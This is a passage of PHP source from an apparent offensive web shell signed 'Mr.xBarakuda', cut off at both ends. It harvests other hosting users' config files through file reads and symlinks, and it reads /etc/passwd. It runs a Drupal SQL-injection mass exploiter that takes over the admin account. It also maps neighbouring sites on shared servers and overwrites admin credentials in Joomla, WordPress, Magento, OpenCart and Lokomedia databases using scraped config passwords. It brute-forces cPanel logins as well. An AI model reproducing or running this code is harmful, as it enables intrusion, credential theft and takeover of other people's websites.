"/home/$user_kuda/public_html/Manage/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/manage/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/CLIENTSUPPORT/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/ClientSupport/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Clientsupport/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/clientsupport/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/CHECKOUT/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Checkout/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/checkout/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/BILLINGS/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Billings/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/billings/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/BASKET/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Basket/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/basket/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/SECURE/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Secure/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/secure/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/SALES/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Sales/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/sales/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/BILL/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Bill/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/bill/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/PURCHASE/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Purchase/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/purchase/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/ACCOUNT/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Account/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/account/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/USER/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/User/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/user/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/CLIENTS/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Clients/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/clients/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/BILLINGS/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Billings/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/billings/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/MY/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/My/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/my/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/secure/whm/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/secure/whmcs/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/panel/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/clientes/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/cliente/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/support/order/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/bb-config.php" => "BoxBilling",
"/home/$user_kuda/public_html/boxbilling/bb-config.php" => "BoxBilling",
"/home/$user_kuda/public_html/box/bb-config.php" => "BoxBilling",
"/home/$user_kuda/public_html/host/bb-config.php" => "BoxBilling",
"/home/$user_kuda/public_html/Host/bb-config.php" => "BoxBilling",
"/home/$user_kuda/public_html/supportes/bb-config.php" => "BoxBilling",
"/home/$user_kuda/public_html/support/bb-config.php" => "BoxBilling",
"/home/$user_kuda/public_html/hosting/bb-config.php" => "BoxBilling",
"/home/$user_kuda/public_html/cart/bb-config.php" => "BoxBilling",
"/home/$user_kuda/public_html/order/bb-config.php" => "BoxBilling",
"/home/$user_kuda/public_html/client/bb-config.php" => "BoxBilling",
"/home/$user_kuda/public_html/clients/bb-config.php" => "BoxBilling",
"/home/$user_kuda/public_html/cliente/bb-config.php" => "BoxBilling",
"/home/$user_kuda/public_html/clientes/bb-config.php" => "BoxBilling",
"/home/$user_kuda/public_html/billing/bb-config.php" => "BoxBilling",
"/home/$user_kuda/public_html/billings/bb-config.php" => "BoxBilling",
"/home/$user_kuda/public_html/my/bb-config.php" => "BoxBilling",
"/home/$user_kuda/public_html/secure/bb-config.php" => "BoxBilling",
"/home/$user_kuda/public_html/support/order/bb-config.php" => "BoxBilling",
"/home/$user_kuda/public_html/includes/dist-configure.php" => "Zencart",
"/home/$user_kuda/public_html/zencart/includes/dist-configure.php" => "Zencart",
"/home/$user_kuda/public_html/products/includes/dist-configure.php" => "Zencart",
"/home/$user_kuda/public_html/cart/includes/dist-configure.php" => "Zencart",
"/home/$user_kuda/public_html/shop/includes/dist-configure.php" => "Zencart",
"/home/$user_kuda/public_html/includes/iso4217.php" => "Hostbills",
"/home/$user_kuda/public_html/hostbills/includes/iso4217.php" => "Hostbills",
"/home/$user_kuda/public_html/host/includes/iso4217.php" => "Hostbills",
"/home/$user_kuda/public_html/Host/includes/iso4217.php" => "Hostbills",
"/home/$user_kuda/public_html/supportes/includes/iso4217.php" => "Hostbills",
"/home/$user_kuda/public_html/support/includes/iso4217.php" => "Hostbills",
"/home/$user_kuda/public_html/hosting/includes/iso4217.php" => "Hostbills",
"/home/$user_kuda/public_html/cart/includes/iso4217.php" => "Hostbills",
"/home/$user_kuda/public_html/order/includes/iso4217.php" => "Hostbills",
"/home/$user_kuda/public_html/client/includes/iso4217.php" => "Hostbills",
"/home/$user_kuda/public_html/clients/includes/iso4217.php" => "Hostbills",
"/home/$user_kuda/public_html/cliente/includes/iso4217.php" => "Hostbills",
"/home/$user_kuda/public_html/clientes/includes/iso4217.php" => "Hostbills",
"/home/$user_kuda/public_html/billing/includes/iso4217.php" => "Hostbills",
"/home/$user_kuda/public_html/billings/includes/iso4217.php" => "Hostbills",
"/home/$user_kuda/public_html/my/includes/iso4217.php" => "Hostbills",
"/home/$user_kuda/public_html/secure/includes/iso4217.php" => "Hostbills",
"/home/$user_kuda/public_html/support/order/includes/iso4217.php" => "Hostbills"
);  

foreach($grab_config as $config => $nama_config) {
	if($_POST['config'] == 'grab') {
$ambil_config = file_get_contents($config);
if($ambil_config == '') {
} else {
$file_config = fopen("kuda_configv2/$user_kuda-$nama_config.txt","w");
fputs($file_config,$ambil_config);
}
}
if($_POST['config'] == 'symlink') {
@symlink($config,"kuda_Symconfig/".$user_kuda."-".$nama_config.".txt");
}
if($_POST['config'] == '404') {
$sym404=symlink($config,"kuda_sym404/".$user_kuda."-".$nama_config.".txt");
if($sym404){
@mkdir("kuda_sym404/".$user_kuda."-".$nama_config.".txt404", 0777);
$htaccess="Options Indexes FollowSymLinks
DirectoryIndex kuda.html
HeaderName kuda.txt
Satisfy Any
IndexOptions IgnoreCase FancyIndexing FoldersFirst NameWidth=* DescriptionWidth=* SuppressHTMLPreamble
IndexIgnore *";

@file_put_contents("kuda_sym404/".$user_kuda."-".$nama_config.".txt404/.htaccess",$htaccess);

@symlink($config,"kuda_sym404/".$user_kuda."-".$nama_config.".txt404/kuda.txt");

	}

}

                    }     
		}  if($_POST['config'] == 'grab') {
            echo "<center><a href='?dir=$dir/kuda_configv2'><font color=lime>DONE</font></a></center>";
		}
    if($_POST['config'] == '404') {
        echo "<center>
<a href='kuda_sym404/root/'><font color='lime'>Symlinknya</a></font>
<br><a href='kuda_sym404/' target='_blank'><font color='lime'>Configurations</a></font></center>";
    }
     if($_POST['config'] == 'symlink') {
echo "<center>
<a href='kuda_symconfig/root/'><font color='lime'>Symlinknya</a></font>
<br><a href='kuda_symconfig/'' target='_blank'><font color='lime'>Configurations</a></font></center>";
			}if($_POST['config'] == 'symvhost') {
echo "<center>
<a href='kuda_symvhost/root/'><font color='lime'>Symlinknya</a></font>
<br><a href='kuda_symvhost/' target='_blank'><font color='lime'>Configurations</a></font></center>";
			}
		
		
		}else{
        echo "<form method='post' action=''><center>
		</center></select><br><textarea name='passwd' class='area' rows='15' cols='60'>";
        echo include("/etc/passwd"); 
        echo "</textarea><br><br><center>
        <select class='select' name='config' style='width: 450px;' height='10'>
        <option value='grab'>Config Grab</option>
        <option value='404'>Config 404</option>
		<option value='symlink'>Symlink Config</option>
		<option value='symvhosts'>Vhosts Config Grab</option> <input type='submit' value='Start!!'></td></tr></center>";
    }
}
elseif($_GET['do'] == 'drupalex') {
echo "
<center>
<h3>Drupal Mass Exploiter</h3>
<form method='post' action=''>
<textarea cols='60' rows='15' name='url' placeholder='http://kudagans.go.id'></textarea><br><br>
<input type='submit' style='border-color:white' name='submit' value='SIKAT!'>
</form>
</center>";
$drupal  = ($_GET["drupal"]);
if($drupal == 'drupal'){
$filename = $_FILES['file']['name'];
$filetmp  = $_FILES['file']['tmp_name'];
echo "<form method='post' enctype='multipart/form-data'>
   <input type='file' name='file'>
   <input type='submit' value='drupal!'>
</form>";
move_uploaded_file($filetmp,$filename);
}
    error_reporting(0);
    if (isset($_POST['submit'])) {
        function exploit($url) {
            $post_data = "name[0;update users set name %3D 'mrxbarakuda' , pass %3D '" . urlencode('$S$DrV4X74wt6bT3BhJa4X0.XO5bHXl/QBnFkdDkYSHj3cE1Z5clGwu') . "',status %3D'1' where uid %3D '1';#]=FcUk&name[]=Crap&pass=test&form_build_id=&form_id=user_login&op=Log+in";
            $params = array('http' => array('method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded
", 'content' => $post_data));
            $ctx = stream_context_create($params);
            $data = file_get_contents($url . '/user/login/', null, $ctx);
            if ((stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) || (stristr($data, 'FcUk Crap') && $data)) {
                $fp = fopen("exploited.txt", 'a+');
                fwrite($fp, "Exploited!  User: mrxbarakuda Pass: admin  => {$url}/user/login");
                fwrite($fp, "
");
                fwrite($fp, "--------------------------------------------------------------------------------------------------");
                fwrite($fp, "
");
                fclose($fp);
                               
                echo "<font color='lime'>Success => </font><font color='white'>User: mrxbarakuda Pass: admin</font> - <a href='{$url}/user/login' target=_blank ><font color='lime'> {$url}/user/login </font></a><br>";
            } else {
                echo "<font color='red'>Failed => {$url}/user/login</font><br>";
            }
        }
               
        $urls = explode("
", $_POST['url']);
        foreach ($urls as $url) {
            $url = @trim($url);
            echo exploit($url);
        }
    }

}
elseif($_GET['do'] == 'loghunter') { 
echo '<center><h3>Log Hunter</h3></center>';
echo "<center>";
echo "<form action='' method='post'>"; 
?><br>DIR: <input type="text" style="width: 200px;" value="<?=getcwd();?>" name="shc_dir">
<?php
echo "<input type='submit' name='submit' value='Scan Now!'>"; 
echo "</form>"; 
echo "<pre style='text-align: left;'>";
error_reporting(0);
/*
Name    : Log Hunter (Grab Email)
Date    : 26/03/2016 05:53 PM
Link    : http://facebook.com/bug7sec
Link    : http://pastebin.com/u/shor7cut
Author  : Shor7cut
*/
if($_POST['submit']){
function tampilkan($shcdirs){
foreach(scandir($shcdirs) as $shc)
    {
        if($shc!='.' && $shc!='..')
        {
            $shc = $shcdirs.DIRECTORY_SEPARATOR.$shc;
            if( !is_dir($shc) && !eregi("css", $shc) ){
 
                $fgt    = file_get_contents($shc);
                $ifgt   = exif_read_data($shc);
                $jembut = "COMPUTED";
                $taik   = "UserComment";
                $shcm = "/mail['(']/";
                if($ifgt[$jembut][$taik]){
                    echo "[<font color=#00FFD0>Stegano</font>] <font color=#2196F3>".$shc."</font><br>";
                }
                preg_match_all('#[A-Z0-9a-z._%+-]+@[A-Za-z0-9.+-]+#',$fgt,$cocok);
                $hcs  = "/base64_decode/";
                $exif = "/exif_read_data/";
                preg_match($shcm, addslashes($fgt), $mailshc);
                preg_match($hcs,  addslashes($fgt), $shcmar);
                preg_match($exif, addslashes($fgt), $shcxif);
                if(eregi('HTTP Cookie File', $fgt) || eregi('PHP Warning:', $fgt) ){
                }
                if(eregi('tmp_name', $fgt)){
                    echo "[<font color=#FAFF14>Uploader</font>] <font color=#2196F3>".$shc."</font><br>";
                }
                if($shcmar[0]){
                    echo "[<font color=#FF3D00>Base64</font>] <font color=#2196F3>".$shc."</font><br>";
                }
                if($mailshc[0]){
                    echo "[<font color=#E6004E>MailFunc</font>] <font color=#2196F3>".$shc."</font><br>";
                }
                if($shcxif[0]){
                    echo "[<font color=#00FFD0>Stegano</font>] <font color=#2196F3>".$shc."</font> </font><font color=red>{Manual Check}</font><br>";
                }
                if(eregi("js", $shc)){
                            echo "[<font color=red>Javascript</font>] <font color=#2196F3>".$shc."</font> { <a href=http://www.unphp.net target=_blank>CheckJS</a> }<br>";
                }
                if($cocok[0]){
                    foreach ($cocok[0] as $key => $shcmail) {
                        if (filter_var($shcmail, FILTER_VALIDATE_EMAIL)) {
                            echo "[<font color=greenyellow>SendMail</font>] <font color=#2196F3>".$shc."</font> { ".$shcmail." }<br>";
                        }
                    }
                }
           
            }else{
                tampilkan($shc);
            }
        }
    }
}
tampilkan($_POST['shc_dir']);
}
echo "</pre>"; 
echo "</center>";
}
elseif($_GET['do'] == 'jumping') {
    $i = 0;
    echo "<div class='margin: 5px auto;'>";
    if(preg_match("/hsphere/", $dir)) {
        $urls = explode("
", $_POST['url']);
        if(isset($_POST['jump'])) {
            echo "<pre>";
            foreach($urls as $url) {
                $url = str_replace(array("http://","www."), "", strtolower($url));
                $etc = "/etc/passwd";
                $f = fopen($etc,"r");
                while($gets = fgets($f)) {
                    $pecah = explode(":", $gets);
                    $user = $pecah[0];
                    $dir_user = "/hsphere/local/home/$user";
                    if(is_dir($dir_user) === true) {
                        $url_user = $dir_user."/".$url;
                        if(is_readable($url_user)) {
                            $i++;
                            $jrw = "[<font color=red>R</font>] <a href='?dir=$url_user'><font color=#0F6516>$url_user</font></a>";
                            if(is_writable($url_user)) {
                                $jrw = "[<font color=lime>RW</font>] <a href='?dir=$url_user'><font color=#0F6516>$url_user</font></a>";
                            }
                            echo $jrw."<br>";
                        }
                    }
                }
            }
        if($i == 0) {
        } else {
            echo "<br>Total ada ".$i." Bangsat! di ".$ip;
        }
        echo "</pre>";
        } else {
            echo '<center>
                  <form method="post">
                  List Domains: <br>
                  <textarea name="url" style="width: 500px; height: 250px;">';
            $fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");
            while($getss = fgets($fp)) {
                echo $getss;
            }
            echo  '</textarea><br>
                  <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
                  </form></center>';
        }
    } elseif(preg_match("/vhosts|vhost/", $dir)) {
        preg_match("//var/www/(.*?)//", $dir, $vh);
        $urls = explode("
", $_POST['url']);
        if(isset($_POST['jump'])) {
            echo "<pre>";
            foreach($urls as $url) {
                $url = str_replace("www.", "", $url);
                $web_vh = "/var/www/".$vh[1]."/$url/httpdocs";
                if(is_dir($web_vh) === true) {
                    if(is_readable($web_vh)) {
                        $i++;
                        $jrw = "[<font color=red>R</font>] <a href='?dir=$web_vh'><font color=#0F6516>$web_vh</font></a>";
                        if(is_writable($web_vh)) {
                            $jrw = "[<font color=lime>RW</font>] <a href='?dir=$web_vh'><font color=#0F6516>$web_vh</font></a>";
                        }
                        echo $jrw."<br>";
                    }
                }
            }
        if($i == 0) {
        } else {
            echo "<br>Total ada ".$i." Bangsat! di ".$ip;
        }
        echo "</pre>";
        } else {
            echo '<center>
                  <form method="post">
                  List Domains: <br>
                  <textarea name="url" style="width: 500px; height: 250px;">';
                  bing("ip:$ip");
            echo  '</textarea><br>
                  <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
                  </form></center>';
        }
    } else {
        echo "<pre>";
        $etc = fopen("/etc/passwd", "r") or die("<font color=red><i>Can't read /etc/passwd</i></font>");
        while($passwd = fgets($etc)) {
            if($passwd == '' || !$etc) {
                echo "<font color=red><i>Can't read /etc/passwd</i></font>";
            } else {
                preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
                foreach($user_jumping[1] as $user_idx_jump) {
                    $user_jumping_dir = "/home/$user_idx_jump/public_html";
                    if(is_readable($user_jumping_dir)) {
                        $i++;
                        $jrw = "[<font color=red>R</font>] <a href='?dir=$user_jumping_dir'><font color=silver>$user_jumping_dir</font></a>";
                        if(is_writable($user_jumping_dir)) {
                            $jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=silver>$user_jumping_dir</font></a>";
                        }
                        echo $jrw;
                        if(function_exists('posix_getpwuid')) {
                            $domain_jump = file_get_contents("/etc/named.conf");   
                            if($domain_jump == '') {
                                echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
                            } else {
                                preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
                                foreach($domains_jump[1] as $dj) {
                                    $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
                                    $user_jumping_url = $user_jumping_url['name'];
                                    if($user_jumping_url == $user_idx_jump) {
                                        echo " => ( <u>$dj</u> )<br>";
                                        break;
                                    }
                                }
                            }
                        } else {
                            echo "<br>";
                        }
                    }
                }
            }
        }
        if($i == 0) {
        } else {
            echo "<br>Total ada ".$i." Bangsat! di ".$ip;
        }
        echo "</pre>";
    }
    echo "</div>";
}
elseif($_GET['do'] == 'auto_edit_user') {
    if($_POST['hajar']) {
        if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
            echo "<center>username atau password harus lebih dari 6 karakter</center>";
        } else {
            $user_baru = $_POST['user_baru'];
            $pass_baru = md5($_POST['pass_baru']);
            $conf = $_POST['config_dir'];
            $scan_conf = scandir($conf);
            foreach($scan_conf as $file_conf) {
                if(!is_file("$conf/$file_conf")) continue;
                $config = file_get_contents("$conf/$file_conf");
                if(preg_match("/JConfig|joomla/",$config)) {
                    $dbhost = ambilkata($config,"host = '","'");
                    $dbuser = ambilkata($config,"user = '","'");
                    $dbpass = ambilkata($config,"password = '","'");
                    $dbname = ambilkata($config,"db = '","'");
                    $dbprefix = ambilkata($config,"dbprefix = '","'");
                    $prefix = $dbprefix."users";
                    $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                    $db = mysql_select_db($dbname);
                    $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
                    $result = mysql_fetch_array($q);
                    $id = $result['id'];
                    $site = ambilkata($config,"sitename = '","'");
                    $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
					echo "Config => ".$file_conf."<br>";
                    echo "CMS => Joomla<br>";
                    if($site == '') {
                        echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
                    } else {
                        echo "Sitename => $site<br>";
                    }
                    if(!$update OR !$conn OR !$db) {
                        echo "Status => <font color=red>".mysql_error()."</font><br><br>";
                    } else {
                        echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
                    }
                    mysql_close($conn);
                } elseif(preg_match("/WordPress/",$config)) {
                    $dbhost = ambilkata($config,"DB_HOST', '","'");
                    $dbuser = ambilkata($config,"DB_USER', '","'");
                    $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
                    $dbname = ambilkata($config,"DB_NAME', '","'");
                    $dbprefix = ambilkata($config,"table_prefix  = '","'");
                    $prefix = $dbprefix."users";
                    $option = $dbprefix."options";
                    $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                    $db = mysql_select_db($dbname);
                    $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
                    $result = mysql_fetch_array($q);
                    $id = $result[ID];
                    $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
                    $result2 = mysql_fetch_array($q2);
                    $target = $result2[option_value];
                    if($target == '') {
                        $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
                    } else {
                        $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
                    }
                    $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
                    echo "Config => ".$file_conf."<br>";
                    echo "CMS => Wordpress<br>";
                    echo $url_target;
                    if(!$update OR !$conn OR !$db) {
                        echo "Status => <font color=red>".mysql_error()."</font><br><br>";
                    } else {
                        echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
                    }
                    mysql_close($conn);
                } elseif(preg_match("/Magento|Mage_Core/",$config)) {
                    $dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
                    $dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
                    $dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
                    $dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
                    $dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
                    $prefix = $dbprefix."admin_user";
                    $option = $dbprefix."core_config_data";
                    $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                    $db = mysql_select_db($dbname);
                    $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
                    $result = mysql_fetch_array($q);
                    $id = $result[user_id];
                    $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
                    $result2 = mysql_fetch_array($q2);
                    $target = $result2[value];
                    if($target == '') {
                        $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
                    } else {
                        $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
                    }
                    $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
                    echo "Config => ".$file_conf."<br>";
                    echo "CMS => Magento<br>";
                    echo $url_target;
                    if(!$update OR !$conn OR !$db) {
                        echo "Status => <font color=red>".mysql_error()."</font><br><br>";
                    } else {
                        echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
                    }
                    mysql_close($conn);
                } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
                    $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
                    $dbuser = ambilkata($config,"'DB_USERNAME', '","'");
                    $dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
                    $dbname = ambilkata($config,"'DB_DATABASE', '","'");
                    $dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
                    $prefix = $dbprefix."user";
                    $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                    $db = mysql_select_db($dbname);
                    $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
                    $result = mysql_fetch_array($q);
                    $id = $result[user_id];
                    $target = ambilkata($config,"HTTP_SERVER', '","'");
                    if($target == '') {
                        $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
                    } else {
                        $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
                    }
                    $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
                    echo "Config => ".$file_conf."<br>";
                    echo "CMS => OpenCart<br>";
                    echo $url_target;
                    if(!$update OR !$conn OR !$db) {
                        echo "Status => <font color=red>".mysql_error()."</font><br><br>";
                    } else {
                        echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
                    }
                    mysql_close($conn);
                } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
                    $dbhost = ambilkata($config,'server = "','"');
                    $dbuser = ambilkata($config,'username = "','"');
                    $dbpass = ambilkata($config,'password = "','"');
                    $dbname = ambilkata($config,'database = "','"');
                    $prefix = "users";
                    $option = "identitas";
                    $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                    $db = mysql_select_db($dbname);
                    $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
                    $result = mysql_fetch_array($q);
                    $target = $result[alamat_website];
                    if($target == '') {
                        $target2 = $result[url];
                        $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
                        if($target2 == '') {
                            $url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
                        } else {
                            $cek_login3 = file_get_contents("$target2/adminweb/");
                            $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
                            if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
                                $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
                            } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
                                $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
                            } else {
                                $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
                            }
                        }
                    } else {
                        $cek_login = file_get_contents("$target/adminweb/");
                        $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
                        if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
                            $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
                        } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
                            $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
                        } else {
                            $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
                        }
                    }
                    $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
                    echo "Config => ".$file_conf."<br>";
                    echo "CMS => Lokomedia<br>";
                    if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
                        echo $url_target2;
                    } else {
                        echo $url_target;
                    }
                    if(!$update OR !$conn OR !$db) {
                        echo "Status => <font color=red>".mysql_error()."</font><br><br>";
                    } else {
                        echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
						echo "</div>";
					}
                    mysql_close($conn);
                }
            }
        }
    } else {
        echo "<center>
        <h3>Auto Edit User Config</h3>
        <form method='post'>
        DIR Config: <br>
        <input type='text' size='50' name='config_dir' value='$dir'><br><br>
        Set User & Pass: <br>
        <input type='text' name='user_baru' value='mrxbarakuda' placeholder='user_baru'><br>
        <input type='text' name='pass_baru' value='mrxbarakuda' placeholder='pass_baru'><br>
        <input type='submit' name='hajar' value='Hajar!' style='width: 215px;'>
        </form>
        <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
        ";
    }
}
elseif($_GET['do'] == 'cpcrack') {
	if($_POST['crack']) {
		$usercp = explode("
", $_POST['user_cp']);
		$passcp = explode("
", $_POST['pass_cp']);
		$i = 0;
		foreach($usercp as $ucp) {
			foreach($passcp as $pcp) {
				if(@mysql_connect('localhost', $ucp, $pcp)) {
					if($_SESSION[$ucp] && $_SESSION[$pcp]) {
					} else {
						$_SESSION[$ucp] = "1";
						$_SESSION[$pcp] = "1";
						if($ucp == '' || $pcp == '') {
							
						} else {
							$i++;
							if(function_exists('posix_getpwuid')) {
								$domain_cp = file_get_contents("/etc/named.conf");	
								if($domain_cp == '') {
									$dom =  "<font color=red>gabisa ambil nama domain nya</font>";
								} else {
									preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);
									foreach($domains_cp[1] as $dj) {
										$user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
										$user_cp_url = $user_cp_url['name'];
										if($user_cp_url == $ucp) {
											$dom = "<a href='http://$dj/' target='_blank'><font color=deepskyblue>$dj</font></a>";
											break;
										}
									}
								}
							} else {
								$dom = "<font color=red>function is Disable by system</font>";
							}
							echo "username (<font color=deepskyblue>$ucp</font>) password (<font color=deepskyblue>$pcp</font>) domain ($dom)<br>";
						}
					}
				}
			}
		}
		if($i == 0) {
		} else {
			echo "<br>sukses nyolong ".$i." Cpanel by <font color=cyan>Mr.xBarakuda</font>";
		}
	} else {
		echo "<center>
		<form method='post'>
		USER: <br>
		<textarea style='width: 450px; height: 150px;' name='user_cp'>";
		$_usercp = fopen("/etc/passwd","r");
		while($getu = fgets($_usercp)) {
			if($getu == '' || !$_usercp) {
				echo "<font color=red>Can't read /etc/passwd</font>";
			} else {
				preg_match_all("/(.*?):x:/", $getu, $u);
				foreach($u[1] as $user_cp) {
						if(is_dir("/home/$user_cp/public_html")) {
							echo "$user_cp
";
					}
				}
			}
		}
		echo "</textarea><br>
		PASS: <br>
		<textarea style='width: 450px; height: 200px;' name='pass_cp'>";
		function cp_pass($dir) {
			$pass = "";
			$dira = scandir($dir);
			foreach($dira as $dirb) {
				if(!is_file("$dir/$dirb")) continue;
				$ambil = file_get_contents("$dir/$dirb");
				if(preg_match("/WordPress/", $ambil)) {
					$pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."
";
				} elseif(preg_match("/JConfig|joomla/", $ambil)) {
					$pass .= ambilkata($ambil,"password = '","'")."
";
				} elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
					$pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."
";
				} elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
					$pass .= ambilkata($ambil,'password = "','"')."n";
				} elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
					$pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."
";
				} elseif(preg_match("/^[client]$/", $ambil)) {
					preg_match("/password=(.*?)/", $ambil, $pass1);
					if(preg_match('/"/', $pass1[1])) {
						$pass1[1] = str_replace('"', "", $pass1[1]);
